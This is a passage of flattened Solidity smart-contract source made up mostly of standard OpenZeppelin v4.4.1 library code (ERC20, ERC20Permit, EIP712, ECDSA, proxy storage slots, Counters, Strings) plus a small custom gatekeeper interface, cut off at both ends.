@dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Emitted when the beacon is upgraded. */ event BeaconUpgraded(address indexed beacon); /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract"); require( AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon; } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall( address newBeacon, bytes memory data, bool forceCall ) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { _functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data); } } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) { require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed"); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol) pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeaconUpgradeable { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlotUpgradeable { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity =0.8.9; interface IGatekeeperable { function gatekeeper() external view returns (address); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens, * given ``owner``'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-ERC20Permit.sol) pragma solidity ^0.8.0; import "./draft-IERC20Permit.sol"; import "../ERC20.sol"; import "../../../utils/cryptography/draft-EIP712.sol"; import "../../../utils/cryptography/ECDSA.sol"; import "../../../utils/Counters.sol"; /** * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. * * _Available since v3.4._ */ abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 { using Counters for Counters.Counter; mapping(address => Counters.Counter) private _nonces; // solhint-disable-next-line var-name-mixedcase bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /** * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`. * * It's a good idea to use the same `name` that is defined as the ERC20 token name. */ constructor(string memory name) EIP712(name, "1") {} /** * @dev See {IERC20Permit-permit}. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual override { require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline)); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSA.recover(hash, v, r, s); require(signer == owner, "ERC20Permit: invalid signature"); _approve(owner, spender, value); } /** * @dev See {IERC20Permit-nonces}. */ function nonces(address owner) public view virtual override returns (uint256) { return _nonces[owner].current(); } /** * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } /** * @dev "Consume a nonce": return the current value and increment. * * _Available since v4.1._ */ function _useNonce(address owner) internal virtual returns (uint256 current) { Counters.Counter storage nonce = _nonces[owner]; current = nonce.current(); nonce.increment(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/draft-EIP712.sol) pragma solidity ^0.8.0; import "./ECDSA.sol"; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to // invalidate the cached domain separator if the chain id changes. bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; address private immutable _CACHED_THIS; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); bytes32 typeHash = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = block.chainid; _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion); _CACHED_THIS = address(this); _TYPE_HASH = typeHash; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { if (address(this) == _CACHED_THIS && block.chainid == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; } else { return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } function _buildDomainSeparator( bytes32 typeHash, bytes32 nameHash, bytes32 versionHash ) private view returns (bytes32) { return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) 